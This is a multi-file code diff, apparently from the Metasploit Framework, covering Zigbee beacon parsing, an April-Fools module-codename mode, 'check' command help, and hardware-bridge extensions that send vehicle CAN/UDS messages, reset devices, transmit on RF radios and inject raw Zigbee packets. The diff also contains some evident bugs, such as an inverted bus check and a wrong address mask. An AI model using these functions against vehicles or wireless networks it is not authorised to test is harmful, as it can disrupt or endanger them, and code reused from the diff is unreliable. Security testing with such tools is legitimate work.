offset+=1
|
||||
|
||||
# Pending address count
|
||||
beacondata[2] = packet[offset]
|
||||
result["PENDING_ADDRESS_COUNT"] = beacondata[2]
|
||||
offset+=1
|
||||
|
||||
# Protocol ID
|
||||
beacondata[3] = packet[offset]
|
||||
result["PROTOCOL_ID"] = beacondata[3]
|
||||
offset+=1
|
||||
|
||||
# Stack Profile version
|
||||
beacondata[4] = packet[offset]
|
||||
result["STACK_PROFILE"] = beacondata[4]
|
||||
offset+=1
|
||||
|
||||
# Capability information
|
||||
beacondata[5] = packet[offset]
|
||||
result["CAPABILITY"] = beacondata[5]
|
||||
offset+=1
|
||||
|
||||
# Extended PAN ID
|
||||
beacondata[6] = packet[offset,8]
|
||||
result["EXT_PAN_ID"] = beacondata[6].reverse.unpack("H*")[0]
|
||||
offset+=8
|
||||
|
||||
# TX Offset
|
||||
beacondata[7] = packet[offset,3]
|
||||
result["TX_OFFSET"] = beacondata[7]
|
||||
offset+=3
|
||||
|
||||
# Update ID
|
||||
beacondata[8] = packet[offset]
|
||||
result["UPDATE_ID"] = beacondata[8]
|
||||
offset+=1
|
||||
pktchop[6] = beacondata
|
||||
result["BEACONDATA"] = beacondata
|
||||
else
|
||||
# Not a beacon frame
|
||||
|
||||
# DPAN
|
||||
pktchop[2] = packet[3,2]
|
||||
offset = 5
|
||||
|
||||
# Examine the destination addressing mode
|
||||
daddr_mask = (fcf & DOT154_FCF_DADDR_MASK) >> 10
|
||||
if daddr_mask == DOT154_FCF_ADDR_EXT
|
||||
pktchop[3] = packet[offset,8]
|
||||
offset+=8
|
||||
elsif daddr_mask == DOT154_FCF_ADDR_SHORT
|
||||
pktchop[3] = packet[offset,2]
|
||||
offset+=2
|
||||
end
|
||||
|
||||
# Examine the Intra-PAN flag
|
||||
if (fcf & DOT154_FCF_INTRA_PAN) == 0
|
||||
pktchop[4] = packet[offset,2]
|
||||
offset+=2
|
||||
end
|
||||
|
||||
# Examine the source addressing mode
|
||||
saddr_mask = (fcf & DOT154_FCF_SADDR_MASK) >> 14
|
||||
if daddr_mask == DOT154_FCF_ADDR_EXT
|
||||
pktchop[5] = packet[offset,8]
|
||||
offset+=8
|
||||
elsif daddr_mask == DOT154_FCF_ADDR_SHORT
|
||||
pktchop[5] = packet[offset,2]
|
||||
offset+=2
|
||||
end
|
||||
end
|
||||
# Append remaining payload
|
||||
pktchop[7] = packet[offset,packet.size] if offset < packet.size
|
||||
result["PktChop"] = pktchop
|
||||
return result
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -52,6 +52,7 @@ module Msf
|
|||
@cache_payloads = nil
|
||||
@previous_module = nil
|
||||
@module_name_stack = []
|
||||
@dangerzone_map = nil
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -595,6 +596,9 @@ module Msf
|
|||
return false
|
||||
end
|
||||
|
||||
# Divert logic for dangerzone mode
|
||||
args = dangerzone_codename_to_module(args)
|
||||
|
||||
# Try to create an instance of the supplied module name
|
||||
mod_name = args[0]
|
||||
|
||||
|
@ -873,9 +877,86 @@ module Msf
|
|||
end
|
||||
end
|
||||
|
||||
return dangerzone_modules_to_codenames(res.sort) if dangerzone_active?
|
||||
return res.sort
|
||||
end
|
||||
|
||||
#
|
||||
# Convert squirrel names back to regular module names
|
||||
#
|
||||
def dangerzone_codename_to_module(args)
|
||||
return args unless dangerzone_active? && args.length > 0 && args[0].length > 0
|
||||
return args unless args[0] =~ /^[A-Z]/
|
||||
args[0] = dangerzone_codename_to_module_name(args[0])
|
||||
args
|
||||
end
|
||||
|
||||
#
|
||||
# Determine if dangerzone mode is active via date or environment variable
|
||||
#
|
||||
def dangerzone_active?
|
||||
active = Time.now.strftime("%m%d") == "0401" || Rex::Compat.getenv('DANGERZONE').to_i > 0
|
||||
if active && @dangerzone_map.nil?
|
||||
dangerzone_build_map
|
||||
end
|
||||
active
|
||||
end
|
||||
|
||||
#
|
||||
# Convert module names to squirrel names
|
||||
#
|
||||
def dangerzone_modules_to_codenames(names)
|
||||
(names + @dangerzone_map.keys.grep(/^[A-Z]+/)).sort
|
||||
end
|
||||
|
||||
def dangerzone_codename_to_module_name(cname)
|
||||
@dangerzone_map[cname] || cname
|
||||
end
|
||||
|
||||
def dangerzone_module_name_to_codename(mname)
|
||||
@dangerzone_map[mname] || mname
|
||||
end
|
||||
|
||||
def dangerzone_build_map
|
||||
return unless @dangerzone_map.nil?
|
||||
|
||||
@dangerzone_map = {}
|
||||
|
||||
res = []
|
||||
%W{exploit auxiliary}.each do |mtyp|
|
||||
mset = framework.modules.module_names(mtyp)
|
||||
mset.each do |mref|
|
||||
res << mtyp + '/' + mref
|
||||
end
|
||||
end
|
||||
|
||||
words_a = ::File.readlines(::File.join(
|
||||
::Msf::Config.data_directory, "wordlists", "dangerzone_a.txt"
|
||||
)).map{|line| line.strip.upcase}
|
||||
|
||||
words_b = ::File.readlines(::File.join(
|
||||
::Msf::Config.data_directory, "wordlists", "dangerzone_b.txt"
|
||||
)).map{|line| line.strip.upcase}
|
||||
|
||||
aidx = -1
|
||||
bidx = -1
|
||||
|
||||
res.sort.each do |mname|
|
||||
word_a = words_a[ (aidx += 1) % words_a.length ]
|
||||
word_b = words_b[ (bidx += 1) % words_b.length ]
|
||||
cname = word_a + word_b
|
||||
|
||||
while @dangerzone_map[cname]
|
||||
aidx += 1
|
||||
word_a = words_a[ (aidx += 1) % words_a.length ]
|
||||
cname = word_a + word_b
|
||||
end
|
||||
|
||||
@dangerzone_map[mname] = cname
|
||||
@dangerzone_map[cname] = mname
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Module list enumeration
|
||||
#
|
||||
|
|
|
@ -122,6 +122,11 @@ module ModuleCommandDispatcher
|
|||
# Checks to see if a target is vulnerable.
|
||||
#
|
||||
def cmd_check(*args)
|
||||
if args.first =~ /^\-h$/i
|
||||
cmd_check_help
|
||||
return
|
||||
end
|
||||
|
||||
ip_range_arg = args.shift || mod.datastore['RHOSTS'] || framework.datastore['RHOSTS'] || ''
|
||||
opt = Msf::OptAddressRange.new('RHOSTS')
|
||||
|
||||
|
@ -162,6 +167,32 @@ module ModuleCommandDispatcher
|
|||
end
|
||||
end
|
||||
|
||||
def cmd_check_help
|
||||
print_line('Usage: check [option] [IP Range]')
|
||||
print_line
|
||||
print_line('Options:')
|
||||
print_line('-h You are looking at it.')
|
||||
print_line
|
||||
print_line('Examples:')
|
||||
print_line('')
|
||||
print_line('Normally, if a RHOST is already specified, you can just run check.')
|
||||
print_line('But here are different ways to use the command:')
|
||||
print_line
|
||||
print_line('Against a single host:')
|
||||
print_line('check 192.168.1.123')
|
||||
print_line
|
||||
print_line('Against a range of IPs:')
|
||||
print_line('check 192.168.1.1-192.168.1.254')
|
||||
print_line
|
||||
print_line('Against a range of IPs loaded from a file:')
|
||||
print_line('check file:///tmp/ip_list.txt')
|
||||
print_line
|
||||
print_line('Multi-threaded checks:')
|
||||
print_line('1. set THREADS 10')
|
||||
print_line('2. check')
|
||||
print_line
|
||||
end
|
||||
|
||||
def report_vuln(instance)
|
||||
framework.db.report_vuln(
|
||||
workspace: instance.workspace,
|
||||
|
|
|
@ -1,108 +1,95 @@
|
|||
# -*- coding: binary -*-
|
||||
# frozen_string_literal: true
|
||||
require 'shellwords'
|
||||
|
||||
module Rex
|
||||
module Parser
|
||||
|
||||
###
|
||||
#
|
||||
# This class parses arguments in a getopt style format, kind of.
|
||||
# Unfortunately, the default ruby getopt implementation will only
|
||||
# work on ARGV, so we can't use it.
|
||||
#
|
||||
###
|
||||
class Arguments
|
||||
|
||||
#
|
||||
# Specifies that an option is expected to have an argument
|
||||
#
|
||||
HasArgument = (1 << 0)
|
||||
|
||||
#
|
||||
# Initializes the format list with an array of formats like:
|
||||
#
|
||||
# Arguments.new(
|
||||
# '-b' => [ false, "some text" ]
|
||||
# )
|
||||
#
|
||||
def initialize(fmt)
|
||||
self.fmt = fmt
|
||||
# I think reduce is a better name for this method, but it doesn't exist
|
||||
# before 1.8.7, so use the stupid inject instead.
|
||||
self.longest = fmt.keys.inject(0) { |max, str|
|
||||
max = ((max > str.length) ? max : str.length)
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Takes a string and converts it into an array of arguments.
|
||||
#
|
||||
def self.from_s(str)
|
||||
Shellwords.shellwords(str)
|
||||
end
|
||||
|
||||
#
|
||||
# Parses the supplied arguments into a set of options.
|
||||
#
|
||||
def parse(args, &block)
|
||||
skip_next = false
|
||||
|
||||
args.each_with_index { |arg, idx|
|
||||
if (skip_next == true)
|
||||
skip_next = false
|
||||
next
|
||||
module Parser
|
||||
###
|
||||
#
|
||||
# This class parses arguments in a getopt style format, kind of.
|
||||
# Unfortunately, the default ruby getopt implementation will only
|
||||
# work on ARGV, so we can't use it.
|
||||
#
|
||||
###
|
||||
class Arguments
|
||||
#
|
||||
# Initializes the format list with an array of formats like:
|
||||
#
|
||||
# Arguments.new(
|
||||
# '-b' => [ false, "some text" ]
|
||||
# )
|
||||
#
|
||||
def initialize(fmt)
|
||||
self.fmt = fmt
|
||||
self.longest = fmt.keys.max_by(&:length)
|
||||
end
|
||||
|
||||
if (arg.match(/^-/))
|
||||
cfs = arg[0..2]
|
||||
#
|
||||
# Takes a string and converts it into an array of arguments.
|
||||
#
|
||||
def self.from_s(str)
|
||||
Shellwords.shellwords(str)
|
||||
end
|
||||
|
||||
fmt.each_pair { |fmtspec, val|
|
||||
next if (fmtspec != cfs)
|
||||
#
|
||||
# Parses the supplied arguments into a set of options.
|
||||
#
|
||||
def parse(args, &_block)
|
||||
skip_next = false
|
||||
|
||||
param = nil
|
||||
|
||||
if (val[0])
|
||||
param = args[idx+1]
|
||||
skip_next = true
|
||||
args.each_with_index do |arg, idx|
|
||||
if skip_next
|
||||
skip_next = false
|
||||
next
|
||||
end
|
||||
|
||||
yield fmtspec, idx, param
|
||||
}
|
||||
else
|
||||
yield nil, idx, arg
|
||||
if arg[0] == '-'
|
||||
cfs = arg[0..2]
|
||||
|
||||
fmt.each_pair do |fmtspec, val|
|
||||
next if fmtspec != cfs
|
||||
|
||||
param = nil
|
||||
|
||||
if val[0]
|
||||
param = args[idx + 1]
|
||||
skip_next = true
|
||||
end
|
||||
|
||||
yield fmtspec, idx, param
|
||||
end
|
||||
else
|
||||
yield nil, idx, arg
|
||||
end
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
#
|
||||
# Returns usage information for this parsing context.
|
||||
#
|
||||
def usage
|
||||
txt = ["\nOPTIONS:\n"]
|
||||
|
||||
fmt.sort.each do |entry|
|
||||
fmtspec, val = entry
|
||||
opt = val[0] ? " <opt> " : " "
|
||||
txt << " #{fmtspec.ljust(longest.length)}#{opt}#{val[1]}"
|
||||
end
|
||||
|
||||
txt << ""
|
||||
txt.join("\n")
|
||||
end
|
||||
|
||||
def include?(search)
|
||||
fmt.include?(search)
|
||||
end
|
||||
|
||||
def arg_required?(opt)
|
||||
fmt[opt][0] if fmt[opt]
|
||||
end
|
||||
|
||||
attr_accessor :fmt # :nodoc:
|
||||
attr_accessor :longest # :nodoc:
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns usage information for this parsing context.
|
||||
#
|
||||
def usage
|
||||
txt = "\nOPTIONS:\n\n"
|
||||
|
||||
fmt.sort.each { |entry|
|
||||
fmtspec, val = entry
|
||||
|
||||
txt << " #{fmtspec.ljust(longest)}" + ((val[0] == true) ? " <opt> " : " ")
|
||||
txt << val[1] + "\n"
|
||||
}
|
||||
|
||||
txt << "\n"
|
||||
|
||||
return txt
|
||||
end
|
||||
def include?(search)
|
||||
return fmt.include?(search)
|
||||
end
|
||||
|
||||
def arg_required?(opt)
|
||||
fmt[opt][0] if fmt[opt]
|
||||
end
|
||||
|
||||
attr_accessor :fmt # :nodoc:
|
||||
attr_accessor :longest # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -70,6 +70,21 @@ class Client
|
|||
send_request("/custom_methods")
|
||||
end
|
||||
|
||||
#
|
||||
# Sends a reset signal to the device to perform a software bounce or a full
|
||||
# factory reset. Depends on how the device decided to handle it.
|
||||
#
|
||||
def reset
|
||||
send_request("/control/factory_reset")
|
||||
end
|
||||
|
||||
#
|
||||
# Sends a reboot signal to reboot the device.
|
||||
#
|
||||
def reboot
|
||||
send_request("/control/reboot")
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Alias processor
|
||||
|
|
|
@ -37,11 +37,11 @@ class Automotive < Extension
|
|||
# @param bus [String] bus name
|
||||
#
|
||||
# @return [Boolean] return true if bus is valid
|
||||
def is_valid_bus? bus
|
||||
def is_valid_bus?(bus)
|
||||
valid = false
|
||||
get_supported_buses if self.buses == nil
|
||||
if not bus.blank?
|
||||
self.buses.each do |b|
|
||||
get_supported_buses if buses.nil?
|
||||
unless bus.blank?
|
||||
buses.each do |b|
|
||||
valid = true if b["bus_name"] == bus
|
||||
end
|
||||
end
|
||||
|
@ -55,10 +55,10 @@ class Automotive < Extension
|
|||
#
|
||||
# @return [Hash] client.send_request response with "Error" if any exist
|
||||
def check_for_errors(data)
|
||||
if data and data.has_key? "Packets"
|
||||
if data && (data.key? "Packets")
|
||||
if data["Packets"].size == 1
|
||||
if data["Packets"][0]["DATA"].size > 3 and data["Packets"][0]["DATA"][1].hex == 0x7F
|
||||
if ERR_MNEMONIC.has_key? data["Packets"][0]["DATA"][3].hex
|
||||
if data["Packets"][0]["DATA"].size > 3 && data["Packets"][0]["DATA"][1].hex == 0x7F
|
||||
if ERR_MNEMONIC.key? data["Packets"][0]["DATA"][3].hex
|
||||
err = data["Packets"][0]["DATA"][3].hex
|
||||
data["error"] = { ERR_MNEMONIC[err] => ERR_DESC[ERR_MNEMONIC[err]] }
|
||||
else
|
||||
|
@ -78,7 +78,7 @@ class Automotive < Extension
|
|||
# @return [Array] Array of Hex string equivalents
|
||||
def array2hex(arr)
|
||||
# We give the flexibility of sending Integers or string hexes in the array
|
||||
arr.map { |b| "%02x" % (b.respond_to?("hex") ? b.hex : b )}
|
||||
arr.map { |b| "%02x" % (b.respond_to?("hex") ? b.hex : b ) }
|
||||
end
|
||||
|
||||
def set_active_bus(bus)
|
||||
|
@ -86,8 +86,8 @@ class Automotive < Extension
|
|||
end
|
||||
|
||||
def get_supported_buses
|
||||
self.buses = client.send_request("/automotive/supported_buses")
|
||||
self.buses
|
||||
buses = client.send_request("/automotive/supported_buses")
|
||||
buses
|
||||
end
|
||||
|
||||
def get_bus_config(bus)
|
||||
|
@ -103,21 +103,23 @@ class Automotive < Extension
|
|||
client.send_request("/automotive/#{bus}/cansend?id=#{id}&data=#{data}")
|
||||
end
|
||||
|
||||
def send_isotp_and_wait_for_response(bus, srcId, dstId, data, opt={})
|
||||
# TODO Implement sending ISO-TP > 8 bytes
|
||||
def send_isotp_and_wait_for_response(bus, src_id, dst_id, data, opt = {})
|
||||
# TODO: Implement sending ISO-TP > 8 bytes
|
||||
data = [ data ] if data.is_a? Integer
|
||||
if data.size < 8
|
||||
data = array2hex(data).join
|
||||
request_str = "/automotive/#{bus}/isotpsend_and_wait?srcid=#{srcId}&dstid=#{dstId}&data=#{data}"
|
||||
request_str += "&timeout=#{opt["TIMEOUT"]}" if opt.has_key? "TIMEOUT"
|
||||
request_str += "&maxpkts=#{opt["MAXPKTS"]}" if opt.has_key? "MAXPKTS"
|
||||
request_str = "/automotive/#{bus}/isotpsend_and_wait?srcid=#{src_id}&dstid=#{dst_id}&data=#{data}"
|
||||
request_str += "&timeout=#{opt['TIMEOUT']}" if opt.key? "TIMEOUT"
|
||||
request_str += "&maxpkts=#{opt['MAXPKTS']}" if opt.key? "MAXPKTS"
|
||||
return check_for_errors(client.send_request(request_str))
|
||||
end
|
||||
return nil
|
||||
nil
|
||||
end
|
||||
|
||||
attr_reader :buses, :active_bus
|
||||
private
|
||||
|
||||
private
|
||||
|
||||
attr_writer :buses, :active_bus
|
||||
|
||||
end
|
||||
|
|
|
@ -8,6 +8,7 @@ module Automotive
|
|||
|
||||
module UDSErrors
|
||||
|
||||
# Negative Response Codes (NDC)
|
||||
ERR_MNEMONIC = {
|
||||
0x10 => "GR",
|
||||
0x11 => "SNS",
|
||||
|
@ -54,7 +55,25 @@ ERR_MNEMONIC = {
|
|||
0x73 => "WBSC",
|
||||
0x78 => "RCRRP",
|
||||
0x7E => "SFNSIAS",
|
||||
0x7F => "SNSIAS"
|
||||
0x7F => "SNSIAS",
|
||||
0x81 => "RTH",
|
||||
0x82 => "RTL",
|
||||
0x83 => "EIR",
|
||||
0x84 => "EINR",
|
||||
0x85 => "ERTTL",
|
||||
0x86 => "TTH",
|
||||
0x87 => "TTL",
|
||||
0x88 => "VSTH",
|
||||
0x89 => "VSTL",
|
||||
0x8A => "TPTH",
|
||||
0x8B => "TPTL",
|
||||
0x8C => "TRNIN",
|
||||
0x8D => "TRNIG",
|
||||
0x8F => "BSNC",
|
||||
0x90 => "SLNIP",
|
||||
0x91 => "TCCL",
|
||||
0x92 => "VTH",
|
||||
0x93 => "VTL"
|
||||
}
|
||||
|
||||
ERR_DESC = {
|
||||
|
@ -80,7 +99,25 @@ ERR_DESC = {
|
|||
"WBSC" => "Wrong Block Sequence Counter",
|
||||
"RCRRP" => "Request Correctly Received, but Response is Pending",
|
||||
"SFNSIAS" => "Sub-Function Not Supoorted In Active Session",
|
||||
"SNSIAS" => "Service Not Supported In Active Session"
|
||||
"SNSIAS" => "Service Not Supported In Active Session",
|
||||
"RTH" => "RPM Too High",
|
||||
"RTL" => "RPM Too Low",
|
||||
"EIR" => "Engine is Running",
|
||||
"EINR" => "Engine is not Running",
|
||||
"ERTTL" => "Engine Run Time Too Low",
|
||||
"TTH" => "Temperature Too High",
|
||||
"TTL" => "Temperature Too Low",
|
||||
"VSTH" => "Vehicle Speed Too High",
|
||||
"VSTL" => "Vehicle Speed Too Low",
|
||||
"TPTH" => "Throttle Pedal Too High",
|
||||
"TPTL" => "Throttle Pedal Too Low",
|
||||
"TRNIN" => "Transmission Range Not in Neutral",
|
||||
"TRNIG" => "Transmission Range Not in Gear",
|
||||
"BSNC" => "Brake Switch Not Closed",
|
||||
"SLNIP" => "Shifter Lever Not In Park",
|
||||
"TCCL" => "Torque Converter Clutch Locked",
|
||||
"VTH" => "Voltage Too High",
|
||||
"VTL" => "Voltage Too Low"
|
||||
}
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,203 @@
|
|||
#
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/post/hwbridge/client'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module HWBridge
|
||||
module Extensions
|
||||
module RFTransceiver
|
||||
|
||||
###
|
||||
# RF Transceiver extension - set of commands to be executed on transceivers like the TI cc11XX
|
||||
###
|
||||
|
||||
class RFTransceiver < Extension
|
||||
|
||||
def initialize(client)
|
||||
super(client, 'rftransceiver')
|
||||
|
||||
# Alias the following things on the client object so that they
|
||||
# can be directly referenced
|
||||
client.register_extension_aliases(
|
||||
[
|
||||
{
|
||||
'name' => 'rftransceiver',
|
||||
'ext' => self
|
||||
}
|
||||
])
|
||||
end
|
||||
|
||||
# Gets supported USB Indexes
|
||||
# @return [Array] Indexes
|
||||
def supported_idx
|
||||
client.send_request("/rftransceiver/supported_idx")
|
||||
end
|
||||
|
||||
# Sets the frequency
|
||||
# @param idx [Integer] HW Index
|
||||
# @param opt [Hash] Optional: "mhz" => 24
|
||||
# @param freq [Integer] Frequency to set
|
||||
def set_freq(idx, freq, opt={})
|
||||
request = "/rftransceiver/#{idx}/set_freq?freq=#{freq}"
|
||||
request << "&mhz=#{opt['mhz']}" if opt.has_key? 'mhz'
|
||||
client.send_request(request)
|
||||
end
|
||||
|
||||
# Retrieves a list of supported Modulations
|
||||
# @param idx [Integer] HW Index
|
||||
# @return [Array] of Modulation strings
|
||||
def get_supported_modulations(idx)
|
||||
client.send_request("/rftransceiver/#{idx}/get_modulations")
|
||||
end
|
||||
|
||||
# Sets the mode
|
||||
# @param idx [Integer] HW Index
|
||||
# @param mode [String] Either RX, TX or IDLE
|
||||
def set_mode(idx, mode)
|
||||
client.send_request("/rftransceiver/#{idx}/set_mode?mode=#{mode}")
|
||||
end
|
||||
|
||||
# Sets the modulation value
|
||||
# @param idx [Integer] HW Index
|
||||
# @param mod [String] Modulation Technique
|
||||
def set_modulation(idx, mod)
|
||||
client.send_request("/rftransceiver/#{idx}/set_modulation?mod=#{mod}")
|
||||
end
|
||||
|
||||
# Sets fixed packet len
|
||||
# @param idx [Integer] HW Index
|
||||
# @param len [Integer] Length to set
|
||||
def make_pkt_flen(idx, len)
|
||||
client.send_request("/rftransceiver/#{idx}/make_packet_flen?len=#{len}")
|
||||
end
|
||||
|
||||
# Sets variable packet len
|
||||
# @param idx [Integer] HW Index
|
||||
# @param len [Integer] Length to set
|
||||
def make_pkt_vlen(idx, len)
|
||||
client.send_request("/rftransceiver/#{idx}/make_packet_vlen?len=#{len}")
|
||||
end
|
||||
|
||||
# Transmits data
|
||||
# @param idx [Integer] HW Index
|
||||
# @param data [String] Data to transmit
|
||||
# @param opt [Hash] Optional parameters: "repeat" => Integer, "offset" => Integer
|
||||
def rfxmit(idx, data, opt={})
|
||||
data = Base64.urlsafe_encode64(data)
|
||||
request = "/rftransceiver/#{idx}/rfxmit?data=#{data}"
|
||||
request << "&repeat=#{opt['repeat']}" if opt.has_key? 'repeat'
|
||||
request << "&offset=#{opt['offset']}" if opt.has_key? 'offset'
|
||||
client.send_request(request)
|
||||
end
|
||||
|
||||
# Receives a packet
|
||||
# @param idx [Integer] HW Index
|
||||
# @param opt [Hash] Optional parameters: "timeout" => Integer, "blocksize" => Integer
|
||||
# @return [Hash] "data" => <recieved data> "timestamp" => When it was received
|
||||
def rfrecv(idx, opt={})
|
||||
request = "/rftransceiver/#{idx}/rfrecv"
|
||||
if opt.size() > 0
|
||||
first = true
|
||||
request << '?'
|
||||
if opt.has_key? 'timeout'
|
||||
request << "timeout=#{opt['timeout']}"
|
||||
first = false
|
||||
end
|
||||
if opt.has_key? 'blocksize'
|
||||
request << '&' unless first
|
||||
request << "blocksize=#{opt['blocksize']}"
|
||||
end
|
||||
end
|
||||
data = client.send_request(request)
|
||||
# Note the data is initially base64 encoded
|
||||
if data.size() > 0
|
||||
data['data'] = Base64.urlsafe_decode64(data['data']) if data.has_key? 'data'
|
||||
end
|
||||
data
|
||||
end
|
||||
|
||||
def enable_packet_crc(idx)
|
||||
client.send_request("/rftransceiver/#{idx}/enable_packet_crc")
|
||||
end
|
||||
|
||||
def enable_manchester(idx)
|
||||
client.send_request("/rftransceiver/#{idx}/enable_machester")
|
||||
end
|
||||
|
||||
def set_channel(idx, channel)
|
||||
client.send_request("/rftransceiver/#{idx}/set_channel?channel=#{channel}")
|
||||
end
|
||||
|
||||
def set_channel_bandwidth(idx, bandwidth, opt={})
|
||||
request = "/rftransceiver/#{idx}/set_channel_bandwidth?bw=#{bandwidth}"
|
||||
request << "&mhz=#{opt['mhz']}" if opt.has_key? 'mhz'
|
||||
client.send_request(request)
|
||||
end
|
||||
|
||||
def set_channel_spc(idx, opt={})
|
||||
request = "/rftransceiver/#{idx}/set_channel_spc"
|
||||
if opt.size > 0
|
||||
request << '?'
|
||||
first = true
|
||||
if opt.has_key? 'chanspc'
|
||||
request << "chanspc=#{opt['chanspc']}"
|
||||
first = false
|
||||
end
|
||||
if opt.has_key? 'chanspc_m'
|
||||
request << '&' unless first
|
||||
request << "chanspc_m=#{opt['chanspc_m']}"
|
||||
first = false
|
||||
end
|
||||
if opt.has_key? 'chanspc_e'
|
||||
request << '&' unless first
|
||||
request << "chanspc_e=#{opt['chanspc_e']}"
|
||||
first = false
|
||||
end
|
||||
if opt.has_key? 'mhz'
|
||||
request << '&' unless first
|
||||
request << "mhz=#{opt['mhz']}"
|
||||
end
|
||||
end
|
||||
client.send_request(request)
|
||||
end
|
||||
|
||||
def set_baud_rate(idx, rate, opt={})
|
||||
request = "/rftransceiver/#{idx}/set_baud_rate?rate=#{rate}"
|
||||
request << "&mhz=#{opt['mhz']}" if opt.has_key? 'mhz'
|
||||
client.send_request(request)
|
||||
end
|
||||
|
||||
def set_deviation(idx, deviat, opt={})
|
||||
request = "/rftransceiver/#{idx}/set_deviation?deviat=#{deviat}"
|
||||
request << "&mhz=#{opt['mhz']}" if opt.has_key? 'mhz'
|
||||
client.send_request(request)
|
||||
end
|
||||
|
||||
def set_sync_word(idx, word)
|
||||
client.send_request("/rftransceiver/#{idx}/set_sync_word?word=#{word}")
|
||||
end
|
||||
|
||||
def set_sync_mode(idx, mode)
|
||||
client.send_request("/rftransceiver/#{idx}/set_sync_mode?mode=#{mode}")
|
||||
end
|
||||
|
||||
def set_number_preamble(idx, num)
|
||||
client.send_request("/rftransceiver/#{idx}/set_number_preamble?num=#{num}")
|
||||
end
|
||||
|
||||
def set_maxpower(idx)
|
||||
client.send_request("/rftransceiver/#{idx}/set_maxpower")
|
||||
end
|
||||
|
||||
def set_power(idx, power)
|
||||
client.send_request("/rftransceiver/#{idx}/set_power?power=#{power}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,95 @@
|
|||
#
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/post/hwbridge/client'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module HWBridge
|
||||
module Extensions
|
||||
module Zigbee
|
||||
|
||||
###
|
||||
# Zigbee extension - set of commands to be executed on zigbee compatible hw bridges
|
||||
###
|
||||
|
||||
class Zigbee < Extension
|
||||
|
||||
def initialize(client)
|
||||
super(client, 'zigbee')
|
||||
|
||||
# Alias the following things on the client object so that they
|
||||
# can be directly referenced
|
||||
client.register_extension_aliases(
|
||||
[
|
||||
{
|
||||
'name' => 'zigbee',
|
||||
'ext' => self
|
||||
}
|
||||
])
|
||||
end
|
||||
|
||||
# Sets the default target device
|
||||
# @param device [String] Target Zigbee device ID
|
||||
def set_target_device(device)
|
||||
self.target_device = device
|
||||
end
|
||||
|
||||
# Retrieves the default zigbee device ID
|
||||
# @return [String] Zigbee device ID
|
||||
def get_target_device
|
||||
self.target_device
|
||||
end
|
||||
|
||||
# Gets supported Zigbee Devices
|
||||
# @return [Array] Devices
|
||||
def supported_devices
|
||||
client.send_request("/zigbee/supported_devices")
|
||||
end
|
||||
|
||||
# Sets the channel
|
||||
# @param dev [String] Device to affect
|
||||
# @param channel [Integer] Channel number
|
||||
def set_channel(dev, channel)
|
||||
client.send_request("/zigbee/#{dev}/set_channel?chan=#{channel}")
|
||||
end
|
||||
|
||||
# Injects a raw packet
|
||||
# @param dev [String] Zigbee Device ID
|
||||
# @param data [String] Raw hex data that will be Base64 encoded
|
||||
def inject(dev, data)
|
||||
data = Base64.urlsafe_encode64(data)
|
||||
client.send_request("/zigbee/#{dev}/inject?data=#{data}")
|
||||
end
|
||||
|
||||
# Receives data from transceiver
|
||||
# @param dev [String] Zigbee Device ID
|
||||
# @return [Hash] { data: HexString, valid_crc: X, rssi: X }
|
||||
def recv(dev)
|
||||
data = client.send_request("/zigbee/#{dev}/recv")
|
||||
if data.size > 0
|
||||
data["data"] = Base64.urlsafe_decode64(data["data"]) if data.has_key? "data"
|
||||
end
|
||||
data
|
||||
end
|
||||
|
||||
# Disables sniffer and puts the device in a state that can be changed (like adujsting channel)
|
||||
# @param dev [String] Zigbee Device ID
|
||||
def sniffer_off(dev)
|
||||
client.send_request("/zigbee/#{dev}/sniffer_off")
|
||||
end
|
||||
|
||||
# Enables sniffer receive mode. Not necessary to call before calling recv
|
||||
# @param dev [String] Zigbee Device ID
|
||||
def sniffer_on(dev)
|
||||
client.send_request("/zigbee/#{dev}/sniffer_on")
|
||||
end
|
||||
|
||||
attr_accessor :target_device
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -40,20 +40,20 @@ class Console::CommandDispatcher::Automotive
|
|||
#
|
||||
def cmd_supported_buses
|
||||
buses = client.automotive.get_supported_buses
|
||||
if not buses.size > 0
|
||||
unless !buses.empty?
|
||||
print_line("none")
|
||||
return
|
||||
end
|
||||
str = "Available buses\n\n"
|
||||
first = true
|
||||
buses.each do |bus|
|
||||
if not first
|
||||
unless first
|
||||
str += ", "
|
||||
end
|
||||
first = false
|
||||
str += bus["bus_name"] if bus.has_key? "bus_name"
|
||||
str += bus["bus_name"] if bus.key? "bus_name"
|
||||
end
|
||||
str+="\n"
|
||||
str += "\n"
|
||||
print_line(str)
|
||||
end
|
||||
|
||||
|
@ -63,7 +63,7 @@ class Console::CommandDispatcher::Automotive
|
|||
def cmd_busconfig(*args)
|
||||
bus = ''
|
||||
bus_config_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-h' => [ false, 'Help banner' ],
|
||||
'-b' => [ true, 'Target bus']
|
||||
)
|
||||
bus_config_opts.parse(args) do |opt, _idx, val|
|
||||
|
@ -76,11 +76,12 @@ class Console::CommandDispatcher::Automotive
|
|||
bus = val
|
||||
end
|
||||
end
|
||||
if not client.automotive.is_valid_bus? bus
|
||||
unless client.automotive.is_valid_bus? bus
|
||||
print_error("You must specify a valid bus via -b")
|
||||
return
|
||||
end
|
||||
config = client.automotive.get_bus_config(bus)
|
||||
config
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -103,13 +104,14 @@ class Console::CommandDispatcher::Automotive
|
|||
bus = val
|
||||
end
|
||||
end
|
||||
if not client.automotive.is_valid_bus? bus
|
||||
unless client.automotive.is_valid_bus? bus
|
||||
print_error("You must specify a valid bus via -b")
|
||||
return
|
||||
